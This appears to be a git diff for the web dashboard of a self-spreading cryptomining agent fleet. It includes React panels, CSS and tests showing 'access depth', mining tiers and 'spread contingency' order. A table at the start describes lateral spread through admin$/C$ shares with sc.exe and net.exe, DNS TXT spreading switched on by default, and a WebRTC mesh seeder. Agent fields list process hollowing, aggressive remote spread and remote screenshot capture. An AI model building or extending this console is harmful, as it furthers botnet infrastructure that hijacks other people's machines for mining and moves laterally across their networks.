<td>Forge <code>dns_txt_spread</code> default ON — signed plan: <code>{"join_lane":"dns_txt","dns_txt_zone":"lab.internal","dns_txt_records":["_aether.shard0.lab.internal"],"ttl_refresh_sec":300}</code></td>
|
||||
</tr>
|
||||
<tr id="lotl-tier-webrtc_mesh">
|
||||
<td><strong>webrtc_mesh</strong></td>
|
||||
<td>WebRTC LAN seed — first subnet agent seeder; manifest over data channel (STUN from server, WS relay signaling). <strong>Real:</strong> WebRTC bytes stay LAN; server sees hashrate + <code>join_lane</code> only. <strong>Tests:</strong> LAN HTTP fallback at <code>/api/v1/public/webrtc-mesh/manifest</code>.</td>
|
||||
<td>Forge <code>webrtc_mesh_spread</code> default OFF — Calibrate <code>webrtc_mesh_policy.rotation_hours: 24</code> for seeder rotation.</td>
|
||||
</tr>
|
||||
<tr id="lotl-tier-smb">
|
||||
<td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
|
||||
<td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>
|
||||
|
||||
@@ -11,14 +11,14 @@ import { ForgeProvider } from './context/ForgeContext';
|
||||
import { MatrixRainProvider } from './context/MatrixRainContext';
|
||||
import SoundBridge from './components/Sound/SoundBridge';
|
||||
import GlobalMusicPlayer from './components/GlobalMusicPlayer';
|
||||
import AgentsPage from './pages/AgentsPage';
|
||||
import CruciblePage from './pages/CruciblePage';
|
||||
|
||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||
const BuilderPage = lazy(() => import('./pages/BuilderPage'));
|
||||
const MissionDeckPage = lazy(() => import('./pages/MissionDeckPage'));
|
||||
const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
|
||||
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
||||
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
|
||||
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
|
||||
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
|
||||
|
||||
|
||||
@@ -33,7 +33,7 @@ interface HashrateChartProps {
|
||||
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
|
||||
|
||||
function colorToId(color: string): string {
|
||||
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
|
||||
if (color.includes('e8f5') || color.includes('f5ff') || color.includes('06b6d4') || color === '#00e8f5' || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
|
||||
if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta';
|
||||
if (color.includes('b020') || color.includes('eab308')) return 'amber';
|
||||
if (color.includes('39ff') || color.includes('22c55e')) return 'green';
|
||||
|
||||
222
server/web/src/components/Fleet/AccessDepthPanel.css
Normal file
222
server/web/src/components/Fleet/AccessDepthPanel.css
Normal file
@@ -0,0 +1,222 @@
|
||||
.access-depth-panel {
|
||||
margin-bottom: 1rem;
|
||||
max-width: none;
|
||||
}
|
||||
|
||||
.access-depth-header {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
gap: 0.75rem;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.access-depth-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(11rem, 1fr));
|
||||
gap: 0.65rem 1rem;
|
||||
margin-bottom: 0.65rem;
|
||||
}
|
||||
|
||||
.access-depth-section-title {
|
||||
color: var(--neon-cyan);
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
font-size: 0.66rem;
|
||||
margin-bottom: 0.3rem;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.access-depth-os-line {
|
||||
color: #e8e8e8;
|
||||
font-size: 0.76rem;
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.access-depth-probes {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.25rem;
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.access-depth-probe {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
}
|
||||
|
||||
.access-depth-probe.ok {
|
||||
color: var(--neon-green);
|
||||
background: rgba(57, 255, 20, 0.08);
|
||||
border-color: rgba(57, 255, 20, 0.25);
|
||||
}
|
||||
|
||||
.access-depth-probe.no {
|
||||
color: var(--text-muted);
|
||||
background: rgba(255, 255, 255, 0.04);
|
||||
}
|
||||
|
||||
.access-depth-meta,
|
||||
.access-depth-muted,
|
||||
.access-depth-empty {
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-empty {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.access-depth-join {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
margin-top: 0.35rem;
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-attempt-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.access-depth-attempt-row {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: baseline;
|
||||
gap: 0.25rem 0.4rem;
|
||||
font-size: 0.72rem;
|
||||
padding: 0.1rem 0;
|
||||
}
|
||||
|
||||
.access-depth-attempt-tier {
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.access-depth-phase {
|
||||
font-size: 0.62rem;
|
||||
color: var(--neon-violet, #b388ff);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.access-depth-in-progress,
|
||||
.access-depth-pending {
|
||||
margin-top: 0.35rem;
|
||||
font-size: 0.68rem;
|
||||
color: var(--neon-amber, #ffb347);
|
||||
}
|
||||
|
||||
.access-depth-onion-block {
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.06);
|
||||
padding-top: 0.5rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-columns {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(14rem, 1fr));
|
||||
gap: 0.75rem 1.25rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-subtitle {
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.15rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-item {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-idx {
|
||||
color: var(--text-muted);
|
||||
min-width: 1.25rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-label {
|
||||
color: #e8e8e8;
|
||||
}
|
||||
|
||||
.access-depth-onion-item--skipped .access-depth-onion-label {
|
||||
opacity: 0.55;
|
||||
text-decoration: line-through;
|
||||
}
|
||||
|
||||
.access-depth-tag {
|
||||
font-size: 0.58rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 0 4px;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.access-depth-tag--active {
|
||||
color: var(--neon-cyan);
|
||||
border: 1px solid rgba(0, 245, 255, 0.35);
|
||||
}
|
||||
|
||||
.access-depth-tag--skip {
|
||||
color: var(--text-muted);
|
||||
border: 1px solid rgba(255, 255, 255, 0.15);
|
||||
}
|
||||
|
||||
.access-depth-tag--ok {
|
||||
color: var(--neon-green);
|
||||
border: 1px solid rgba(57, 255, 20, 0.3);
|
||||
}
|
||||
|
||||
.access-depth-tag--fail {
|
||||
color: #ff8866;
|
||||
border: 1px solid rgba(255, 136, 68, 0.35);
|
||||
}
|
||||
|
||||
.access-depth-tag--pending {
|
||||
color: var(--neon-amber, #ffb347);
|
||||
border: 1px solid rgba(255, 180, 60, 0.3);
|
||||
}
|
||||
|
||||
.access-depth-source {
|
||||
margin-left: 0.35rem;
|
||||
color: var(--text-muted);
|
||||
font-weight: 400;
|
||||
text-transform: none;
|
||||
letter-spacing: 0;
|
||||
}
|
||||
|
||||
.access-depth-triple {
|
||||
margin-top: 0.45rem;
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-hint {
|
||||
margin: 0.45rem 0 0;
|
||||
font-size: 0.66rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-calibrate-link {
|
||||
color: var(--neon-cyan);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.access-depth-calibrate-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
172
server/web/src/components/Fleet/AccessDepthPanel.test.tsx
Normal file
172
server/web/src/components/Fleet/AccessDepthPanel.test.tsx
Normal file
@@ -0,0 +1,172 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen } from '@testing-library/react';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import AccessDepthPanel from './AccessDepthPanel';
|
||||
import type { Agent } from '../../types';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthDiagnostics,
|
||||
parseAccessDepthServerPolicy,
|
||||
} from '../../help/accessDepth';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
getConfig: vi.fn().mockResolvedValue({
|
||||
server: {
|
||||
lotl_onion_tiers: ['vuln_recon', 'docker', 'winrm'],
|
||||
triple_onion_policy: {
|
||||
recon_tiers: ['vuln_recon'],
|
||||
deploy_lanes: ['docker', 'winrm'],
|
||||
},
|
||||
},
|
||||
}),
|
||||
},
|
||||
}));
|
||||
|
||||
function mockAgent(overrides: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'a1',
|
||||
name: 'Node',
|
||||
wallet: '',
|
||||
ip: '10.0.0.5',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 8,
|
||||
memory_gb: 16,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function renderPanel(agent: Agent, diagnostics?: ReturnType<typeof parseAccessDepthDiagnostics>) {
|
||||
return render(
|
||||
<MemoryRouter>
|
||||
<AccessDepthPanel agent={agent} diagnostics={diagnostics} />
|
||||
</MemoryRouter>,
|
||||
);
|
||||
}
|
||||
|
||||
describe('accessDepth helpers', () => {
|
||||
it('parses mining diagnostics payload with probes and tier chain', () => {
|
||||
const diag = parseAccessDepthDiagnostics({
|
||||
lotl_tier: 'wsl',
|
||||
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
|
||||
tier_chain_skipped: ['exe_subprocess'],
|
||||
environment_probes: { docker: true, wsl: true, pwsh: true, gpu: false },
|
||||
lotl_attempts: [
|
||||
{ tier: 'container', ok: false, error: 'no runtime', phase: 'mining' },
|
||||
{ tier: 'wsl', ok: true, duration_ms: 900, phase: 'mining' },
|
||||
],
|
||||
});
|
||||
expect(diag.lotl_tier).toBe('wsl');
|
||||
expect(diag.tier_chain_skipped).toEqual(['exe_subprocess']);
|
||||
expect(diag.environment_probes?.docker).toBe(true);
|
||||
expect(diag.lotl_attempts).toHaveLength(2);
|
||||
expect(diag.lotl_attempts?.[1].phase).toBe('mining');
|
||||
});
|
||||
|
||||
it('buildAccessDepthModel for Windows agent with diagnostics', () => {
|
||||
const agent = mockAgent({
|
||||
platform: 'windows',
|
||||
os_version: '10.0.26200',
|
||||
arch: 'amd64',
|
||||
lotl_tier: 'wsl',
|
||||
join_lane: 'winrm',
|
||||
agent_elevated: true,
|
||||
capabilities: { auto_spread: true, hole_punch: false, mesh_p2p: true, remote_aggressive: true, process_hollowing: false, ai_enabled: false },
|
||||
});
|
||||
const model = buildAccessDepthModel(
|
||||
agent,
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
|
||||
tier_chain_skipped: ['exe_subprocess'],
|
||||
lotl_attempts: [
|
||||
{ tier: 'container', ok: false, error: 'blocked', phase: 'mining' },
|
||||
{ tier: 'wsl', ok: true, phase: 'mining' },
|
||||
],
|
||||
environment_probes: { docker: false, wsl: true, pwsh: true },
|
||||
}),
|
||||
parseAccessDepthServerPolicy({ server: { lotl_onion_tiers: ['vuln_recon', 'docker'] } }),
|
||||
);
|
||||
expect(model.platformLabel).toBe('Windows');
|
||||
expect(model.joinLane).toBe('winrm');
|
||||
expect(model.succeeded).toHaveLength(1);
|
||||
expect(model.failed).toHaveLength(1);
|
||||
expect(model.miningOnion.find((r) => r.tier === 'exe_subprocess')?.status).toBe('skipped');
|
||||
expect(model.spreadOnion).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('buildAccessDepthModel for Linux agent without diagnostics', () => {
|
||||
const agent = mockAgent({
|
||||
platform: 'linux',
|
||||
join_lane: 'linux-lotl',
|
||||
lotl_attempts: [{ tier: 'cpu_inprocess', ok: true, phase: 'mining' }],
|
||||
});
|
||||
const model = buildAccessDepthModel(agent);
|
||||
expect(model.platformLabel).toBe('Linux');
|
||||
expect(model.succeeded[0].tier).toBe('cpu_inprocess');
|
||||
expect(model.miningOnion.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('buildAccessDepthModel for macOS agent', () => {
|
||||
const agent = mockAgent({ platform: 'darwin', os_version: '14.2' });
|
||||
const model = buildAccessDepthModel(agent);
|
||||
expect(model.platformLabel).toBe('macOS');
|
||||
expect(model.osLine).toContain('macOS');
|
||||
});
|
||||
});
|
||||
|
||||
describe('AccessDepthPanel', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders sections for Windows fixture', async () => {
|
||||
renderPanel(
|
||||
mockAgent({
|
||||
platform: 'windows',
|
||||
lotl_tier: 'wsl',
|
||||
join_lane: 'winrm',
|
||||
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
|
||||
}),
|
||||
parseAccessDepthDiagnostics({
|
||||
environment_probes: { wsl: true, pwsh: true },
|
||||
tier_chain_order: ['container', 'wsl'],
|
||||
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText('ACCESS DEPTH')).toBeInTheDocument();
|
||||
expect(screen.getByText('OS & posture')).toBeInTheDocument();
|
||||
expect(screen.getByText('Active')).toBeInTheDocument();
|
||||
expect(screen.getByText('Succeeded')).toBeInTheDocument();
|
||||
expect(screen.getByText('Failed / in progress')).toBeInTheDocument();
|
||||
expect(screen.getByText('Effective onion order')).toBeInTheDocument();
|
||||
expect(await screen.findByText('WinRM')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows pending chain when tiers not yet attempted', () => {
|
||||
renderPanel(
|
||||
mockAgent({
|
||||
platform: 'linux',
|
||||
status: 'online',
|
||||
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
|
||||
}),
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
|
||||
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText(/pending:/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
196
server/web/src/components/Fleet/AccessDepthPanel.tsx
Normal file
196
server/web/src/components/Fleet/AccessDepthPanel.tsx
Normal file
@@ -0,0 +1,196 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../../api/client';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthServerPolicy,
|
||||
type AccessDepthDiagnostics,
|
||||
} from '../../help/accessDepth';
|
||||
import type { Agent } from '../../types';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import './AccessDepthPanel.css';
|
||||
import './LotlVisuals.css';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
diagnostics?: AccessDepthDiagnostics;
|
||||
}
|
||||
|
||||
function OnionList({ rows, empty }: { rows: ReturnType<typeof buildAccessDepthModel>['miningOnion']; empty: string }) {
|
||||
if (rows.length === 0) {
|
||||
return <div className="access-depth-empty">{empty}</div>;
|
||||
}
|
||||
return (
|
||||
<ol className="access-depth-onion-list">
|
||||
{rows.map((row) => (
|
||||
<li key={`${row.index}-${row.tier}`} className={`access-depth-onion-item access-depth-onion-item--${row.status}`}>
|
||||
<span className="access-depth-onion-idx">{row.index}.</span>
|
||||
<span className="access-depth-onion-label">{row.label}</span>
|
||||
{row.status === 'active' && <span className="access-depth-tag access-depth-tag--active">active</span>}
|
||||
{row.status === 'skipped' && <span className="access-depth-tag access-depth-tag--skip">skipped</span>}
|
||||
{row.status === 'done' && <span className="access-depth-tag access-depth-tag--ok">ok</span>}
|
||||
{row.status === 'failed' && <span className="access-depth-tag access-depth-tag--fail">fail</span>}
|
||||
{row.status === 'pending' && <span className="access-depth-tag access-depth-tag--pending">pending</span>}
|
||||
</li>
|
||||
))}
|
||||
</ol>
|
||||
);
|
||||
}
|
||||
|
||||
function AttemptMiniList({
|
||||
rows,
|
||||
empty,
|
||||
}: {
|
||||
rows: ReturnType<typeof buildAccessDepthModel>['succeeded'];
|
||||
empty: string;
|
||||
}) {
|
||||
if (rows.length === 0) return <div className="access-depth-empty">{empty}</div>;
|
||||
return (
|
||||
<ul className="access-depth-attempt-list">
|
||||
{rows.map((row, i) => (
|
||||
<li key={`${row.tier}-${i}`} className="access-depth-attempt-row">
|
||||
<span className={`lotl-attempt-icon ${row.ok ? 'ok' : 'fail'}`}>{row.ok ? '✓' : '✗'}</span>
|
||||
<span className="access-depth-attempt-tier">{row.label}</span>
|
||||
{row.phase && <span className="access-depth-phase">{row.phase}</span>}
|
||||
{!row.ok && row.error && <span className="lotl-attempt-err">{row.error}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
);
|
||||
}
|
||||
|
||||
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
const [policyLoaded, setPolicyLoaded] = useState(false);
|
||||
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
api
|
||||
.getConfig()
|
||||
.then((cfg) => {
|
||||
if (!cancelled) {
|
||||
setServerPolicy(parseAccessDepthServerPolicy(cfg));
|
||||
setPolicyLoaded(true);
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) setPolicyLoaded(true);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
const model = useMemo(
|
||||
() => buildAccessDepthModel(agent, diagnostics, serverPolicy),
|
||||
[agent, diagnostics, serverPolicy],
|
||||
);
|
||||
|
||||
return (
|
||||
<section className="access-depth-panel lotl-attempts-block" aria-label="Access depth">
|
||||
<div className="access-depth-header">
|
||||
<span className="lotl-attempts-title">
|
||||
ACCESS DEPTH <HelpTip field="crucible_access_depth" />
|
||||
</span>
|
||||
{!policyLoaded && <span className="access-depth-muted">loading policy…</span>}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-grid">
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">OS & posture</div>
|
||||
<div className="access-depth-os-line">{model.osLine}</div>
|
||||
{model.probes.length > 0 && (
|
||||
<div className="access-depth-probes">
|
||||
{model.probes.map((p) => (
|
||||
<span key={p.key} className={`access-depth-probe ${p.ok ? 'ok' : 'no'}`}>
|
||||
{p.label}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{model.spreadCaps.length > 0 && (
|
||||
<div className="access-depth-meta">
|
||||
spread: {model.spreadCaps.join(', ')}
|
||||
</div>
|
||||
)}
|
||||
{model.privilegeHints.length > 0 && (
|
||||
<div className="access-depth-meta">
|
||||
{model.privilegeHints.join(' · ')}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Active</div>
|
||||
{model.activeTier ? (
|
||||
<LotlTierBadge tier={model.activeTier} attempts={agent.lotl_attempts} variant="inline" />
|
||||
) : (
|
||||
<div className="access-depth-empty">No active mining tier</div>
|
||||
)}
|
||||
{model.joinLane ? (
|
||||
<div className="access-depth-join">
|
||||
join lane <JoinLaneBadge lane={model.joinLane} />
|
||||
</div>
|
||||
) : (
|
||||
<div className="access-depth-muted">No join lane yet</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Succeeded</div>
|
||||
<AttemptMiniList rows={model.succeeded} empty="No successful tier attempts" />
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Failed / in progress</div>
|
||||
<AttemptMiniList rows={model.failed} empty="No failed attempts" />
|
||||
{model.inProgressLabel && (
|
||||
<div className="access-depth-in-progress">
|
||||
trying <strong>{model.inProgressLabel}</strong>
|
||||
</div>
|
||||
)}
|
||||
{model.pendingLabels.length > 0 && (
|
||||
<div className="access-depth-pending">
|
||||
pending: {model.pendingLabels.slice(0, 6).join(' → ')}
|
||||
{model.pendingLabels.length > 6 ? ` +${model.pendingLabels.length - 6}` : ''}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section access-depth-onion-block">
|
||||
<div className="access-depth-section-title">
|
||||
Effective onion order
|
||||
<span className="access-depth-source">({model.miningOrderSource})</span>
|
||||
</div>
|
||||
<div className="access-depth-onion-columns">
|
||||
<div>
|
||||
<div className="access-depth-onion-subtitle">Mining tiers</div>
|
||||
<OnionList rows={model.miningOnion} empty="No mining tier chain" />
|
||||
</div>
|
||||
<div>
|
||||
<div className="access-depth-onion-subtitle">
|
||||
Spread contingency{' '}
|
||||
<Link to="/settings" className="access-depth-calibrate-link">
|
||||
Calibrate
|
||||
</Link>
|
||||
</div>
|
||||
<OnionList rows={model.spreadOnion} empty="Default spread order" />
|
||||
</div>
|
||||
</div>
|
||||
{model.tripleOnionSummary && (
|
||||
<div className="access-depth-triple">
|
||||
Triple onion: {model.tripleOnionSummary}
|
||||
</div>
|
||||
)}
|
||||
<p className="access-depth-hint">
|
||||
<HelpTip field="crucible_access_depth_calibrate" label="?" />{' '}
|
||||
Calibrate → <Link to="/settings">lotl_onion_tiers</Link> changes spread order on next agent reconnect.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -313,7 +313,7 @@ export default function CrucibleExpandedOps({
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
disabled={targets.length === 0}
|
||||
title="Fleet health: restore hashing workload on selected online nodes"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
@@ -326,7 +326,7 @@ export default function CrucibleExpandedOps({
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
disabled={targets.length === 0}
|
||||
title="Fleet health: power down hashing without disconnecting the agent"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
|
||||
@@ -43,7 +43,7 @@
|
||||
height: 0.55rem;
|
||||
border-radius: 50%;
|
||||
flex-shrink: 0;
|
||||
box-shadow: 0 0 6px var(--group-color, #0ff);
|
||||
box-shadow: 0 0 6px var(--group-color, #00e8f5);
|
||||
}
|
||||
|
||||
.fleet-group-chip-name {
|
||||
|
||||
@@ -218,7 +218,7 @@
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
.er-usd { opacity: 0.7; margin-left: 0.25rem; }
|
||||
.er-highlight { color: var(--neon-cyan, #00f5ff); font-weight: 700; }
|
||||
.er-highlight { color: var(--neon-cyan, #00e8f5); font-weight: 700; }
|
||||
|
||||
/* ── Fleet Health Card ────────────────────────────────────────────────────── */
|
||||
.fleet-health-card {
|
||||
@@ -300,9 +300,9 @@
|
||||
}
|
||||
.contrib-fill {
|
||||
height: 100%;
|
||||
background: var(--neon-cyan, #00f5ff);
|
||||
background: var(--neon-cyan, #00e8f5);
|
||||
border-radius: 4px;
|
||||
box-shadow: 0 0 6px var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 6px var(--neon-cyan, #00e8f5);
|
||||
transition: width 0.5s ease;
|
||||
}
|
||||
.contrib-hash, .contrib-pct { opacity: 0.75; font-size: 0.75rem; text-align: right; }
|
||||
@@ -379,7 +379,7 @@
|
||||
border-radius: 3px;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
.lan-subnet { color: var(--neon-cyan, #00f5ff); font-size: 0.78rem; }
|
||||
.lan-subnet { color: var(--neon-cyan, #00e8f5); font-size: 0.78rem; }
|
||||
.lan-meta { display: flex; gap: 1rem; font-size: 0.76rem; opacity: 0.75; }
|
||||
.lan-online { color: var(--neon-green, #39ff14); }
|
||||
.lan-hash { font-family: var(--font-mono, monospace); }
|
||||
@@ -388,7 +388,7 @@
|
||||
.dash-mode-btn {
|
||||
background: transparent;
|
||||
border: 1px solid rgba(0,245,255,0.35);
|
||||
color: var(--neon-cyan, #00f5ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
font-family: monospace;
|
||||
font-size: 0.78rem;
|
||||
padding: 0.25rem 0.6rem;
|
||||
|
||||
@@ -66,7 +66,7 @@
|
||||
}
|
||||
|
||||
.agent-list-item.expanded {
|
||||
border-color: rgba(0, 245, 255, 0.35);
|
||||
border-color: rgba(0, 232, 245, 0.35);
|
||||
}
|
||||
|
||||
.agent-list-expand {
|
||||
@@ -86,9 +86,9 @@
|
||||
padding: 0.1rem 0.45rem;
|
||||
margin-right: 0.25rem;
|
||||
border-radius: 4px;
|
||||
background: rgba(0, 245, 255, 0.12);
|
||||
color: var(--neon-cyan, #0ff);
|
||||
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||
background: rgba(0, 232, 245, 0.12);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
border: 1px solid rgba(0, 232, 245, 0.25);
|
||||
}
|
||||
|
||||
.agent-list-notes-preview {
|
||||
|
||||
@@ -9,6 +9,7 @@ interface Props {
|
||||
filters: FleetFilterState;
|
||||
onChange: (next: FleetFilterState) => void;
|
||||
selectedCount: number;
|
||||
selectedAgents?: Agent[];
|
||||
onBulkAction: (action: string) => void;
|
||||
onSelectAllFiltered?: () => void;
|
||||
onCreateGroup?: () => void;
|
||||
@@ -21,6 +22,7 @@ export default function FleetToolbar({
|
||||
filters,
|
||||
onChange,
|
||||
selectedCount,
|
||||
selectedAgents = [],
|
||||
onBulkAction,
|
||||
onSelectAllFiltered,
|
||||
onCreateGroup,
|
||||
@@ -112,17 +114,17 @@ export default function FleetToolbar({
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={bulkBusy}
|
||||
disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')}
|
||||
onClick={() => onBulkAction('screenshot')}
|
||||
title="Capture desktop on the selected machine and download JPEG here"
|
||||
>
|
||||
Screenshot
|
||||
</button>
|
||||
)}
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm"
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
.syscheck-panel {
|
||||
margin-top: 1rem;
|
||||
padding: 1rem 1.1rem;
|
||||
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||
border: 1px solid rgba(0, 232, 245, 0.25);
|
||||
border-radius: 8px;
|
||||
background: rgba(8, 12, 24, 0.92);
|
||||
